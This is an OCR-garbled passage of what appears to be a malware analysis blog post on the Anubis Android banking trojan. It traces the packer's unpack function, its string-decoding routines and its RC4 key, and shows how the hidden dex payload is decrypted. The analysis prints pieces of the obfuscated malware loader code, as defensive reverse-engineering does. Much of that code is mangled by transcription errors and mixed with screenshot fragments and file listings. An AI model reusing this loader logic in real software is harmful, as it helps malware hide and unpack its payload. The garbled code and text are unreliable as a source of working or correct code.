205 public boolean balancegap(String str) {
206 int i = this.cPZulcTeWJLRcGuf_213224;
208 int i2 = this.aGtHgxoSbRyBttnp_464505;
226 this.nTMpTTsY1xumhQIi_744557 = (i - (2362 / i2)) + 567956
try {
227 this.cPZulcTeWJLRcGuf_213224 = ((i2 * 902362) - 69386) + this.nTMpTTsYlxumhQIi_744557;
246 this .MTrHbZdWoKxFzLsDaUlOoAb = (Context) Context.class.newInstance();
} catch (Exception unused) {
}
246 for (int i3 = @; i3 < 7; i3++) {
250 this.aGtHgxoSbRyBttnp_464585 = this.nTMpTTsYlxumhQIi_744557 + (this.cPZulcTeWJLRcGuf_213224 / 972676) + 334981;
H
253 BTyRtY10wIxDyDkZpNcJpLhUuTwNtNnRIWtUKCxXjGbIzP1RzPz bTyRtY1OwIxDyDkZpNcJpLhUuTwNtNNRIWtUKCxXjGbIzP1RzPz = new BTyRtY1OwIxDyDkZpNcJpLhUuTwNtNnR1WtUkCxXjGbIzP1RzPz()
266 this.nTMpTTsY1xumhQIi_744557 = (this.cPZulcTeWJLRcGuf_213224 * this.aGtHgxoSbRyBttnp_464585) - 891825;
271 Teturn bTyRtY10wIxDyDkZpNcJpLhUUTWNENNRIWtUKCxXjGbTzP1RzPz . Biftnoxlth (str, this MTrHbZdWoKxFzLsDaUl0oAb, [ERTs PPRVIMNQWATZQXpLINSH]) :
}
300 public File customlength(Context context, String str) {
301 int i = this.nTMpTTsYlxumhQIi_744557;
302 int i2 - this.cPZulcTeWJLRcGuf_213224;
305 this.Ee0XtqDQJFuYfwSh_127963 = (i * i2) - (821387 / this.EeOXtqDQJFuYfwSh_127963);
309 this.nTMpTTsY1xumhQIi_744557 = (i / i2) + 33;
3 return context.getDir(str, @);
} -
/* access modifiers changed from: protected */ =|
@override // android.content.ContextWrapper
317 public void attachBaseContext(Context context) { m
318 int i = this.EeOXtqDQJFuYfwSh_127963;
318 if (i <= -7) {
325 this.cPzulcTeWwJLRcGuf_213224 = ((this.aGtHgxoSbRyBttnp_464505 - 859387) + 87598) - i;
358 Application.class.getClassTUhUKAKGFQxFbEwMiUtWuIuBrReSmPjPqEiWkACIiSq();
361 this.aGtHgxoSbRyBttnp_464505 = this.Ee0XtqDQJFuYfwsh_127963 + (this.cPZulcTeWJLRcGuf_213224 * 3763304);
}
365 super.attachBaseContext(context);
376 int i2 = this.cPZulcTeWJLRcGuf_213224;
377 int i3 = this.Ee0XtqDQIFuYfwSh_127963;
302 this. aGtHgxoSbRyBttnp_464505 = 134241589 - (i2 / i3); 5
l I D] ]
Code | Smali

The function 2 above the attachBaseContext(Context context) function is the unpack

function used in this common packer :D

In addition, in this common packer type, the PPpYrMnQwArzgXpL1NsNj variable I marked in

the image above contains the name of the file to be decrypted.
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package pigeon.theme.earth;
import android.app.Application;
import android.content.Context;

impert java.io.File:

1

s
i

PXcPyIdQpSm EToKqPuNtYuKj = new PXcPyIdQpsm();
protected int Ee0XtqDQJFuYfwSh_127963 = 3246;
private float FncWPJguUBOSnyng_494177 = 222.ef:
private final char JgfQAcuUFHEzLRXd_978776 = 'u’;

public double LblkwGfRyeIJMHHB_858609 = 164887.@d;
Context MTrHbZdwoKxFzLsDaUlOoAb = null;

protected long OZnYedfsulupMayU_947989 = 1542;
String PPpYIMnOwArZgXpLljsnj =

protected short RoLPfMSKXcBQskxa_625128 = 6645;
public boolean SmIaoTCodCJjRbHwW_347144 = true;
protected long TtXpbyCiHildpzJF_796378 = 14154:
String UMdErLxQtAlJc = ladywalnut().toString();
private long UiwSpksTDnGZQnkf 648899 = 3234;
public double XDTUMkhMwWwYLNckD_17214 = 243234 .0d;
private final short XIMFEhtPLnOfUcEQ_374692 = 21;
private byte YtRmxSycYiICMhCG_158962 = 16;

private final boolean ZZFajeeNejsNXEmn_695837 = false;
private int aGtHgxoSbRyBttnp_464585 = 3234;
protected boolean bLCPbxNduxrlrzrx 197176 = false;
protected int cPZulcTeWJLRcGuf_213224 = 16462;
public byte fcSgNcCSTITIWLOQ_96646 = 68;

public char fxCsilLpmErtNlMus_773127 = 'r';

private double jETAINuHMKyTOF1IQ_287272 = 326462.0d;
public int kgGbDkbDGTlllKog 569296 = 54545;
protected int nTMpTTsYlxumhQli_ 744557 = 142848;
protected long oXHdhIUnlpRoCekp_486488 = 124234;
protected final byte qDbYwzFiSnsXeAJC_49576@0 = 62;

public class IUhUkAkGTQxFbEwMiUtWuIuBrReSmPjPgEiWkAcJiSq extends Application {
string AImBsKkYtYmIdQzWuCjZq = reviewunfair().toString();

protected final String JhGZFUSTzBRraCId 281133 - wirecatalog().toString();
public final double Kxzxydws¥flgLbIb_ 619620 = 646252.8d;

protected final String OSSFcANXxKMMLaIT_3843@7 = renttag().toString():

AOMtGCcHUDWTkNoRtZnPpMhCzGgLtOe = new GQoGwKaRnYnOjYaImSiKnQdRuDgFgXbPtwWwScGk( ) ;

protected String iOCMiLPOxaenzuQH_984219 = anxietyflower().toString();

static StringBuffer outsidesystelﬂ[ﬁ] {

return new StringBuffer(indexdebate());
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public static

ing lindexdebate[] {

int i = 2a83;
for (int i2 = @; i2 < 7; i2++) {
i = -4891620;
byte[] bArr = {77, 185, 7@, 11, 79, 86, 74, 75};
int i3 = 208197083;
int i4 = (i - 1@53800936) + 208197083;
byte[] bArr2 = new byte[2];
if (i <= 100) {
i = ((i4 - 17) + 62) - 208197083;
byte[] bArr3 = {37};
int i5 = i4;
for (int i6 = @; i6 < 1@; i6++) {
i5 = 208197083 - (i / 7);
if (208197083 <= i5) {
i = -1800597581 - i5;
if (i == i5) {
i3 = ((i5 - i) - 203499) - 124898;
for (int i7 = @; 17 < 5; i7++) {
i5 = i3 + 55 + i;
int ig = @;
while (i8 < &) {
int i9 = i5 - 911530;
int i1e = 4p4g978 + i9;
int i11 = (i1e - i9) + 61;
bArr2[i8] = (byte) ((((((il®@ s i1@) - 1) + bATrT[i8]) + ((i11 - i9) * 8)) + ((i9 / i9) % 1)) ~ bArr3[i8 % 1]);
iges;
i5 = il1;

for (int i1z

a:

i12 < 29;

return new string(bArr2);

Name Of Encryted Dex =
hLc.json (filename.py)

112:+) {

python3 filename.py

B gq.png

B gT.png

B groundSquare_17_2_@01-hd.png

[ groundsquare_17_2_@el.png

B grs_sdk_global_toute_config_apptouchupda
B grs_sdk_global_Toute_config_opendevicesd
B grs_sdk_global_route_config_opensdkServi
B grs_sdk_global_Toute_config_updatesdk.js
B grs_sdk_server_config.json

B g15_sp.bks

B gt.png

B gw.png

gy.png

B hianalytics_njjn

B jquery-resizable.min.js
Bl keyEffect.plist

B libwbsafeedit_64

[ libwbsafeedit_x86

Bl libwbsafeedit_x86_64
B 1k.png

[ load_page_metrics.js
B localinfo

[ loggers.config

Bl loggers.debug. config
[ offlinepng.png

B om.png

[ onboarding_web.html
B OPENLCS . s

B quitsound_e1.0gg

Bl rewarde1.ogg

B ringeffect.plist

Bl search_autocomplete. js
B secretkey.ogg

Bl secretsheet-hd.plist
B secretsheet.plist

Bl shippragEffect.plist
[ skull_w_e1.plist

[ skull_w_02.plist

[ skull_w_@3.plist

[ sliderBar-hd.png

B sliderBar.png

Kl

4] ] I
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i8++;
is = i11;

for (int i12 = @; i12 < 29; i12++) {

Teturn new string(bATr2):

public static Stzing indexdebate()

int i - 288;

for (int iz = 0; i2 < 7; i2+4) {
i = -4891620;

byte[] bArr = (77, 105, 70, 11, 79, 86, 74, 75):

int i3 - 208197083;

int i4 = (i - 1053800936) + 208197083 ;

byte[] bATT2 - new byte[s];

if (i <= 100) (
i ((84 - 17) + 62) - 208197083;
M Dbyte[] bare3 - (37}

int i5 - ia;

for (int i6 = o; i6 <
is - 208197083 -

10; i6++) (
(ir7;

if (208197083 <= i5) (
i - -1800507581 - i5;
if (i - i5) {
i3 = ((i5 - 1) - 203499) - 124898;
for (int i7 = 0; 37 < 5; 17+4) {
is = i3 + 55 + i;

- 911530;
int i1@ = 404978 + i9;

int i11 - (i1@ - i9) + 61;
barr2(i8] = (byte) ((((((il®

/410) - 1) + bATr[isl) + ((i11 - i9) * 0)) * ((i9 / 19) % 1)) ~ bAIT3[i8 % 11);

for (int 12 - @; 112 < 29; i12++) {

Yeturn new String(bArr2):

[

Cl I

ITh]

code | smali
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https://gist.github.com/0x1c3N/b70c9a654af0f8d9bb6f951c964e3259

RC4 is used when decrypting the class to be loaded in this packer type. So it’s time to find
the RC4 key. When we go to the class with the 1iftnorth function, our goal is to find the

RC4 implementation waiting for us. It would be a reasonable idea to call 256 % for this, but
it tried to hide this process with a variable that holds 256 in the sample we examined.

2 Anubiso. apk Gr 5P 1isq X | © BTyRtYlouT: JpL xXjGhIzPIRzPz X |
¢ @ source code
@ aisle Find{o | 1 previous | Next [IMarkall [IRegex [MatchCase []wholeword X
- & canp 2 WMethod officefamilyZ = officefamily (8 T g J-€oString(), (Cless) ther( g , 187451, 25, officefamily, TAIS.DPuZjDpAGSAIKUT [gTZFcRdL
8 con 322 for (dnt i- ;i< 14; i+ { . .
- lake 3235 this. csFiJDosOgoltPUmIFSZxj_936598 = this.NYSIWmZgoeQyAOclaHUiLQ_654897 + (this.InGruiFxQpdWrErCBJUNUX_440303 * 793155);
)
o @ org 3238 byte[] bArr2 = (byte[]) sausagebrother('h', 50000, 56, officefamily2, this.DPuZjDpAoSaIkuUrJpWkYoRbOxNgTzFcRdLoSqWmMuSdom, null);
o i pigeon 3238 for (int i2 = @; i2 < 7; i2++) {
o~ # Tu 3246 this. InGruiFxQpdWrErCBJUNUX_440303 = (this.csFiJDosOgoltPWm1FSZxj_936508 - 177542) + (this.NYSIWmZgoeQyAOclaHUilQ_654897 / 413410):
o & thumb }
o 2 Resources 3249 VEIfSZXEUEEWEHEanCanIdTEQkWXEEHaWpJnFEEb}fs = detectcute(bArr2); )
® 3262 this.csFiJDosOgoltPum1FSZxj_936598 = ((this.NyS1WmZgoeQyAOclaHUiLQ_654897 * 2787257) - 1384751) + this.InGruiFxQpdWrETrCBJUNUX_440303;
J7APK signature 2200 bytel] bArr3 - new byte[((int) Math.floor((double) bArr.length))];
3303 this. NYS1umZgoeQyAOclaHUiLQ_654897 = (this.csFilDosOgoltPHmLFSZxj_936598 * this.InGruiFxQpdwrErCBJUNUX_440303) - 60;
3306 int[] iArr = YEkSZXcOeBwGpGxMnCbMNnIdTeQkWxGcHaWpInFeEbKs |
322 for (int i3 = 0; ((double) i3) < Math.ceil((double) bArr.length): i3++) {
32 for (int i4 - 0; ia < 9; i4++) (
3326 this.InGruiFxQpdWrETCBIUNUX_440303 = (this.csFilDosOgoltPWnlFSZxj_936598 - 87) - (37 / this.NYSlimzgoeQyAOclaHUilLQ 654897);
)
EETLY 0gFFTj iXgAcPu - (BWtBq| BUOGF FTjObT: iXgAcPu + 1)[% PackageUtils. INSTALL_GRANT_RUNTIME_PERMISSIONS ]
3349 for (int i5 = 0; i5 < 11; i5++) {
3351 this.csFiJDosOgoltPUmlFSZxj_936598 = (1027519808 - this.NYSIWmZgoeQyAOclaHUiLQ_654897) - this.InGruiFxQpdWrETCBIUNUX_440303;
)
3356 int i6 = LJjDgOiXgNAHSKENTUANPC]YeBbKwAxAdSZTuM1;
3356 int i7 = BWtBqWbBePyFmBUOGFFTjObI. iXgAcPu;
3356 LJjDgoiXgNdHsKtNrUaNpCjYeBbKwAXAdSzTwMi = (i6 + iArr[i7]) t: Pa(kagsutlls INSTALL_GRANT_RUNTIME_PERMISSIONS;
3365 this. InGTuiFxQpdWrETCBIUNUX_440303 = (this.NySl - =TS ST DTS UgO TIPS TYIUTesYS ) ¢ 7008189
3368 leopardtoss(i7, LJjDgOiXgNdHsKtNTUaNpCjYeBbKwAXAdSZzTwMi, iATT):
3375 int ig = this. IhﬁlulFXdeWIEICEJUNUX 440303;
3379 this. csFiJDosOgoltPUmIFSZxj_936598 = ((i8 / thlS NVSlmeguer}\ntlaHU)Lu 654897) - 8108032) + 6026686,
3382 int 19 - BWtBq) gFFTIObT.
3300 this. NYS1WnZgoeQyAOC1aHUiLQ_654897 = i8 - (thls.(sF)JDusugulthmlFSZx]_935598 = 501411);
3393 int 110 = LJjDg0iXgNdHSKtNIUaNDC] YeBbKWAXAdSZTWMI ;
3402 this. csFiJDosOgoltPUmIFSZxj_036598 = ((this.NYSlWmZgoeQyAOclaHUiLQ_654897 / 520) + i8) - 414781;
3811 int partyasset - partyasset('b’, 5222, iArr, 9);
3420 this. NYs1WnZgoeQyAOC1aHUiLQ_654897 = ((this.csFiJDosOgoltPHmIFSZxj_936598 / 90) - 5) + this.InGruiFxQpdwrETCBJUNUX_44@303;
3423 int partyasset2 = partyasset('z', 1544545, iArr, i10);
3432 this. csFiJDosOgol tPHmlFSZxj_936598 = ((458230 / this.NYSlWnZgoeQyAOclaHUiLQ 6548 + 784580
3435 int partyasset3 - partyasset(‘w', 1444, iArr, (partyasset + partyasset2) [
3444 this. NYS1WmZgoeQyAOclaHUiLQ_654897 = ((this.csFiJDosOgoltPWmlFSZxj_936598 S
3466 bArr3[i3] = snackcoil((new Double((double) partyasset3).intvalue() + @) A bArr[i3]);
3268 this. InGTuiFxQpdWIEICBIUNUX_440303 = (16 - this.csFilDosOgoltPHmlFSZxj_936598) + this.NvSlunZgoeQyAOcLaHULQ_654897;
)
3479 for (int i11 = @; 111 < 7; i11++) {
3482 this. NvS1WmZgoeQyAOc1aHUiLQ_654897 = (this.InGruiFxQpdWrErCBJUNUX_440303 * 5650614) - this.csFilDosOgoltPWmlFSZxj_936598:
) L
3482 Teturn bAIr3; =
} |
a1 I Dl
code [ smali

public
public
public
public
public
public
public
public
public

public

The integer array built before the for loop starts contains our decryption key.

static
static
static
static
static
static
static
static
static

public class PackageUtils {

final int INSTALL_ALLOW_DOWNGRADE = 128;

final int INSTALL_ALLOW_TEST = 4;

final int INSTALL_EXTERNAL = 8;

final int INSTALL_FAILED_ INTERMNAL_ERROR = -100@;
final int INSTALL_FORWARD_LOCK = 1; -
final int hHSTALL_GRAHT_RUHTIME_PERMISSIGHS F 256;
final int INSTALL_INTERNAL = 16;

final int INSTALL_REPLACE_EXISTING = 2;
final int INSTALL_SUCCEEDED = 1;

interface InstallObserver {

void onPackageInstalled|String str, int i);
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i (anv L - ow, 1~ 1%, LTT) {

this.csFilDosOgoltPWmlFSZxj 936598 = this.NySlwmZgoeQyAOclaHUiLQ 654887 + (this.InGruiFxQpdwrErCBJUNUX_ 448303 * 793155);

}

byte[] bArr2 =
for (int i2
this. InGruiFxQpdWrETCBJUNUX_440303 = (this.csFiJDosOgoltPWmlFSZxj_936598 - 177542) + (this.NySlWmZgoeQyAOclaHUilLQ_654897 / 413410);

H

(byte[]) sausagebrother('h', 50000, 56, offitefamilyzl this.DPquDpAcSaIkurJpkaaRhﬂxNgTthRchSquMusdﬂml null);
0; i2 < 7; i2++) {

YEkSzXc0eBwGpGxMnCbMnIdTeQkWxGcHaWpInFeEbKs = detectcutefbArz2)
this.csFiJDosOgoltPWmlFSZxj_936598 = ((this.NySlwmZgoeQyAOclaHUiLQ_654897 * 2787257) - 1384751) + this.InGruiFxQpdWrErCBJUNUX_440383;

byte[] bArr3 =
this.NYS1WmZgoeQyAOclaHUiLQ 654897 = (this.csFilJDosOgoltPHmlFSZxj_936598 * this.InGruiFxOpdWIErCBJUNUX_440303) - 60;
YEKSZzXc0eBwGpGxMnChMnIdTeQkWxGcHaWp JnFeEbKs ;|

for (int i3 = @; ((double) i3) < Math.ceil((double) bArr.length); i3++) {
for (int i4 = 0; i4 < 9; i4++) {
this. InGruiFxQpdWrETCBJUNUX_448383 - (this.csFiJDosOgoltPWmlFSZxj_936598 - 87) - (37 / this.NySlumZgoeQyAOclaHUilLQ 654897);
}
BWtBqWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu = (BWtBgWbBePyFmBuDgFfTjObIxXeKyEkNzKiXgAcPu + 1) % PackageUtils.INSTALL_GRANT_RUNTIME_PERMISSIONS;
for (int i5 = @; i5 < 11; i5++#) {
this.csFiJDosOgoltPWmlFSZxj_936598 = (1027519808 - this.NYSIWmZgoeQyAOclaHUiLQ_654897) - this.InGruiFxQpdWrETrCBJUNUX_44@3@3;
H
int i6 = LJjDgOiXgNdHsKtNrUaNpC]YeBbKwAxAdSZTwMi;
int i7 = BWtBgWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu;

new byte[((int) Math.floor((double) bArr.length))l;

LJjDg0iXgNdHsKtNrUaNpCjYeBbKwAxAdSzTwMi = (i6 + iArr[i7]) % PackageUtils.INSTALL_GRANT_RUNTIME_PERMISSIONS;

this. InGruiFxQpdWrErCBJUNUX_ 448303 = (this.NYSlWmZgoeQyAOclaHUiLQ 654887 - this.csFilDosOgoltPWmlFSZxj 936508) + 7908180;
leopardtoss(i7, LJjDgOiXgNdHsKtNIrUaNpCjYeBbKwAxAdSzTwMi, iArr);

int i8 = this.InGruiFxQpdWrErCBJUNUX_448383;

this.csFilDosOgoltPWmlFSZxj_ 936598 = ((i8 / this.NySlwmZgoeQyAOclaHUilLQ 654897) - 8108032) + H@26686;

int i9 = BWtBgWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu;

this .NYS1WmZgoeQyAOclaHUilQ_654897 = i8 - (this.csFiJDosOgoltPWmIFSZxj_936598 * 581411)

int i1@ = LJjDgOiXgNdHsKtNrUaNpCjYeBbKwAXAdSZTwWMi ;

this.csFiJDosOgoltPWmlFSZxj_936598 = ((this.NySlWmZgoeQyAOclaHUilLQ_654897 / 520) + i8) - 414781;

int partyasset = partyasset('b’, 5222, iArr, i9);

this.NYSlWmZgoeQyAOclaHUiLQ_654897 = ((this.csFiJDosOgoltPWmlFSZxj_936598 / 98) - 5) + this.InGruiFxQpdWrErCBJUNUX_440303;

int partyasset2 = partyasset(’z', 1544545, iArr, i1@);

this.csFilJDosOgoltPWmlFSZxj 936598 = ( (459230 / this.NYSlWmZgoeQyAOclaHUilLQ 654887) - this.InGruiFxQpdWrErCBJUNUX_448303) + 784580;
int partyasset3 = partyasset('w’, 1444, iArr, (partyasset + partyasset2) % PackageUtils.INSTALL_GRANT_RUNTIME_PERMISSIONS);
this.NYSlwmZgoeQyAOclaHUiLQ 654897 = ((this.csFiJDosOgoltPWmlFSZxj 936598 * this.InGruiFxQpdwrErCBJUNUX_440303) + 68) - 64;
bArr3[i3] = snackcoil((new Double((double) partyasset3).intvalue() + 8) ~ bArr[i3]):

this. InGruiFxQpdWrETCBIUNUX_ 448303 - (16 - this.csFiJDosOgoltPWmlFSZxj_936598) + this.NySlwmZgoeQyAOclaHUilLQ 654857

package pigeon

import
import
import
import
import
import
import
import
import
import
import
import
import
import

public

private float KTPKEFRWKJISrXYZwKIBHn_668569
protected int NYSIWmZgoeQyAOclaHUilLQ_654897

andro
andro
java.
java.
java.
java.
java.
java.
java.
java.
java.
java.

id
id

io.
io.
io.
io.
io.
io.
io.

1a
1a
ni

.theme.earth;

.content.Context;
.content.res.AssetManager;
BufferedInputStream;
BufferedOutputStream;
File;

FileInputStream;
FileQutputStream;
InputStream;
OutputStream;
ng.reflect.Constructor;
ng.reflect.Method;
o.channels.FileChannel;

org.apache.http.HttpStatus;
ru.yandex.yap.sysutils.PackageUtils;

class BTyRtYlOwIxDyDkZpNcJpLhUuTwNtNnRIWtUkCxXjGbIzP1RzPz {

static int BWtBgWbBePyFmBuOgFfTjObIxXeKyEkNzKiXgAcPu;

static int LJjDg0iXgNdHsKtNrUaNpCiYeBbKwAxAdSz TwWMi;

static int[] YEkSzXcOeBwGpGxMnCbMnIdTeQkWxGcHaWplnFeEbKs ;

protected final char AKiZeTiIwMInnhGoYXKFSA_11376@0 = 's';

String DPquDpAoSaIkUIJkaYoRbOxhgTzFcRdLoSquHuSdﬂm = decadeswing().toString();
public long DQjxaEFTMmMAJsbLTqmGilL_178765 = 8541;

private final byte DUctqBsggCFkPYaKOCEtdz_173244 = 24;

public int InGruiFxQpdWrErCBJUNUX_440303 = 1332;

protected int KRIwAOyQFITrxRF1EfdUGo_15780@8 = 592

26265.0f;
623;

private long NbcOLcsZbjfXdTliljqPZy_795@881 = 45455;
final int OYzFaUzXrDmXeQzSiUrNpKkIaPpRsLgDt = 3145728;
private char PpzbntcsGceIhOmFjdsLFp_785685 = ‘w';

static StringBuffer decadeswing() {
return new StringBuffer(cupboardforest());
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public static String fupboardforest() {
int i = 288;
for (int i2 = @; i2 < 7; i2++) {
i = -4891620;
byte[] bArr = {43, 14, 36, 24, @, 32};
int i3 = 208197@83;
int i4 = (i - 1@53800936) + 208197083;
byte[] bArr2 = new byte[6];
if (i <= 100) {
i=((i4 - 17) + 62) - 288197@83;
byte[] bArr3 = {77};
int i5 = i4;
for (int i6 = @: i6 < 1@; i6++) {
i5 = 2@8197@83 - (i / 7);

if (208197083 <= i5) {
i = -1800597581 - i5;
if (1 == i5) {
i3 = ((i5 - i) - 2@3499) - 124808;
for (int i7 = @; i7 < 5; i7++) {
i5 = i3 + 55 + i;
int igs = @;
while (is8 < &) {
int 19 = i5 - 911530;
int i1@ = 44978 + i9;
int i11 = (i1@ - i9) + 61;

bArr2[i8] = (byte) ((((((ile s i1@) - 1) + bArr[i8]) + ((i11 - i9) *= @)) + ((i9 / i9) % 1)) * bATT3[i8 % 1]);
ig++;
i5 = i11;

for (int i12 = @; i12 < 29; i12++) {

return new String(bArr2);

RC4 KEY FOR LOADED CLASS =
fciuMm ( req.py) v A python3 rcéd.py

Recipe S ] Input length: so7,320  + [0 2] W
RC4
UTFB ¥
HMJJFCH‘VE.'. Output format
Latinl Latinl

x
Name: hLc.json

Detect File Type Size: 607,320 bytes
Type: application/json

R Images R Video 4 Audio
% imag = & Loaded: 100%

Documents Applications Archives
Miscellaneous

time: 08ms
Output tength: 136 B |_|:| 3} £a

lines:

File type: Dalvik Executable

Extension:  dex

MIME type: application/octet-stream
Description: Dalvik Executable as used by Android
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https://gist.github.com/0x1c3N/647d4451ce08b3b8efd812edc8735bed

Conclusion

Anubis is a malware that is worth examining in every aspect and is really impressive, this
application that harms tens of thousands of android users with thousands of samples around
the world, is a source for future android malware. I hope you liked my post, thanks for
reading. If you have any question, feel free to ask me on twitter oxi1c3N
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